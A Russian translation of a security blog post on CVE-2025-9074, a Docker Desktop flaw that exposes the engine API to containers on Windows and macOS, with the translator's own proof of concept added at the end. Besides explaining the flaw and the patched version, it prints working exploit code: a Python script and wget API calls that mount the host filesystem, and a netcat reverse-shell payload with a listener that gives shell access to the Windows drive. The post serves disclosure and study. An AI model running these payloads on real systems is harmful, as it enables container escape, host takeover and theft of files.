Pentest
August 28

Breaking Docker’s Isolation Using... Docker? (CVE-2025-9074)

Автор статьи: Philippe Dugre ("zer0x64")
Оригинал: Breaking Docker’s Isolation Using... Docker? (CVE-2025-9074)
Автор перевода: AFANX
Канал: K0N70R4

Ку, киберпанки! Мне кажется этото перевод будет полезный, потому что это отличный кейс для побега из докера на Windows системе. В кратце: CVE-2025-9074 позволяет непривилегированному коду внутри контейнера обратиться к Docker engine и запустить дополнительные привилегированные контейнеры с полным доступом к файлам на хосте. В конце статьи предоставлю PoC для получения reverse-shell.

TL;DR

Некоторое время назад мой старый друг и исследователь безопасности Феликс Буле связался со мной по поводу одной своей находки. Эта запись в блоге посвящена моему участию в анализе и тестировании уязвимости CVE-2025-9074 — критической уязвимости, позволяющей вырваться из контейнера Docker на Docker Desktop, версии Docker для Windows и macOS.

Обнаружение и подтверждение уязвимости

Феликс возился со сканированием сети из контейнера Docker, когда обнаружил открытый порт, который ему был незнаком. После небольшого исследования он выяснил, что это сокет Docker-движка, и для доступа к нему не существует системы аутентификации. Узнав, что у него есть открытый сокет, он связался со мной, поскольку у меня больше опыта в Docker'е и разработке в целом.

Первым шагом была проверка уязвимости. Конфигурация Docker весьма нестандартна, поскольку он постоянно пытается сломать программное обеспечение, поэтому ему требовалось стороннее мнение по поводу новой установки. Я стряхнул пыль со старого ноутбука, установил все обновления Windows и заново установил Docker. Я адаптировал его прототип к своей конфигурации и смог эксплуатировать уязвимость, подтвердив её наличие. Затем я протестировал её в Linux и macOS, одновременно дорабатывая код эксплойта. Оказалось, что Linux не уязвим, по причинам, которые будут обсуждаться позже, а вот macOS уязвима, хотя и с меньшим уровнем воздействия, чем Windows.

Уязвимость

Сама уязвимость довольно проста: сокет Docker Engine ни при каких обстоятельствах не должен быть доступен недоверенному коду или пользователю. Этот сокет представляет собой API управления Docker, и доступ к нему предоставляет полный доступ ко всем функциям Docker-приложения.

Очевидно, сюда входит создание и удаление контейнеров, но более коварная возможность — монтирование томов.

Предположим, что Docker Engine запускает производственное приложение, использующее базу данных, которая также работает на Docker. Злоумышленник может просто создать новый контейнер и смонтировать том базы данных, что позволит ему читать и записывать в неё любые данные.

Однако ещё более опасным вариантом применения является монтирование файловой системы хоста. Это позволяет злоумышленнику читать и записывать файлы на хосте.

В Windows, поскольку Docker Engine работает через WSL2, злоумышленник может смонтировать как администратор всю файловую систему, прочитать любой конфиденциальный файл и, в конечном итоге, перезаписать системную DLL-библиотеку, чтобы повысить свои права до администратора хост-системы.

Однако в MacOS приложение Docker Desktop по-прежнему имеет уровень изоляции, и при попытке монтирования пользовательского каталога у пользователя запрашивается разрешение. По умолчанию Docker приложение не имеет доступа к остальной файловой системе и не запускается с правами администратора, поэтому хост гораздо безопаснее, чем в случае с Windows. Однако злоумышленник по-прежнему имеет полный контроль над приложением/контейнерами Docker и может даже использовать бэкдор, смонтировав и изменив конфигурацию приложения, без необходимости одобрения пользователя.

А как насчет Linux?

Linux не использует TCP-сокет для API Docker Engine. Вместо этого используется именованный канал в файловой системе хоста. Если не используется определённая небезопасная конфигурация, контейнер не имеет доступа к этому именованному каналу. Обратите внимание, что эта уязвимость задокументирована и изначально заложена в конструкцию Docker-in-Docker, которую не следует использовать в рабочей среде именно по этой причине.

Насколько легко это эксплуатировать?

Что касается сложности эксплуатации уязвимости в идеальном сценарии, то это действительно очень легко. Для моего прототипа на MacOS мне понадобилось всего три строки кода на Python:

import docker
client = docker.DockerClient(base_url="tcp://192.168.65.7:2375")

client.containers.run("alpine", "touch /mnt/pwned",
volumes=["/Users/<username>/:/mnt"])

Это создаст файл pwned​ в домашнем каталоге пользователя. После этого можно легко изменить скрипт, чтобы использовать пакет docker python для выполнения любых функций движка. Вы также можете ознакомиться с записью в блоге Феликса об этом, чтобы увидеть его эксплойт, работающий из командной строки.

Что касается настройки, необходимой для эксплуатации уязвимости, движок должен работать либо на Windows, либо на macOS. Хотя большинство производственных систем Docker работают на Linux, некоторые используют Windows Server (особенно если им требуются контейнеры Windows). Хотя Docker — менее распространённая цель, многие разработчики запускают ненадёжный код на Windows или macOS.

Другим требованием является доступ злоумышленника к сокету Docker. Хотя самый простой способ эксплуатации уязвимости — через уязвимый или вредоносный контейнер, контролируемый злоумышленником, другой возможный вектор атаки — подделка запросов на стороне сервера (SSRF). Эта уязвимость позволяет злоумышленнику проксировать запросы через уязвимое приложение и достигают сокета Docker, влияние которого особенно различается в зависимости от доступности методов HTTP-запросов (большинство SSRF допускают только запросы GET, но некоторые узкоспециализированные случаи допускают использование методов POST, PATCH, DELETE).

Меня это коснулось?

Если вы используете Docker Desktop на Windows или macOS, обязательно обновите его до последней версии. Уязвимость была исправлена в версии 4.44.3.

Proof of Concept

Исходя из описания данной уязвимости и видео из поста решил попробовать получить Reverse Shell.

Для стенда использовал:

  1. Docker Image alpine
  2. Docker Desktop v.4.44.2

Прежде чем использовать docker нужно поставить WSL:

wsl --update

Теперь скачаем alpine​ и запустим его:

docker run -it alpine '/bin/sh'

​Автор статьи создавал файл командами ниже:

wget --header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/pwn.txt"],"HostConfig":{"Binds":["/mnt/host/c:/host_root"]}}' \
-O - http://192.168.65.7:2375/containers/create > create.json
cid=$(cut -d'"' -f4 create.json)
wget --post-data='' -O - http://192.168.65.7:2375/containers/$cid/start

На данном этапе создаётся новый контейнер с использованием Docker API и общая директория/host_root​ , где создаётся файл pwn.txt​. При использовании bridge​ в Docker-контейнерах существует адрес обратной связи - 192.168.65.7. Этот IP-адрес прописан в контейнере и располагается в файле /etc/resolv.conf​:

По идеи всё просто - нужно заменить команду создания файла на команду для получения Reverse-Shell'а. Так как в alpine есть netcat​, то можно воспользоваться ReverseShellGenerator и получить нагрузку:

У себя запустил листенер:

nc -lvnp 4343

А нагрузка теперь выглядит так:

wget --header='Content-Type: application/json' --post-data='{"Image":"alpine","Cmd":["sh","-c","nc 192.168.1.7 4343 0>&1"],"HostConfig":{"Binds":["/mnt/host/c:/host_root"]}}' -O - http://192.168.65.7:2375/containers/create > create.json
cid=$(cut -d'"' -f4 create.json)
wget --post-data='' -O - http://192.168.65.7:2375/containers/$cid/start

Запускаю и получаю коннект:

Так как в новом контейнере общая директория это host_root​, то получается что могу спокойно ходить в файловую систему Windows:

Для полной проверки создам файл в C:/​:

И проверяю в Windows: